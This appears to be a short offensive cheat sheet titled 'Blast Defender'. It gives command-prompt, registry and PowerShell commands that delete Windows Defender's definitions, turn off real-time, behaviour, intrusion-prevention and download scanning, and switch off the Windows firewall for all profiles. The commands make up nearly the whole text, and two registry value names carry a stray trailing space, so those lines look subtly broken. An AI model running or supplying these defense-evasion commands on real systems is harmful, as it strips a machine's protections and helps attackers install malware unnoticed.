Blast Defender

Via command prompt

cmd.exe /c "C:\\Program Files\\Windows Defender\\MpCmdRun.exe" -removedefinitions -all

Just to be safe 🙂

REG ADD "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v "DisableRealtimeMonitoring " /t REG_DWORD /d 1 /f
REG ADD "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v "DisableBehaviorMonitoring " /t REG_DWORD /d 1 /f
NetSh Advfirewall set allprofiles state off 

Powershell

Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true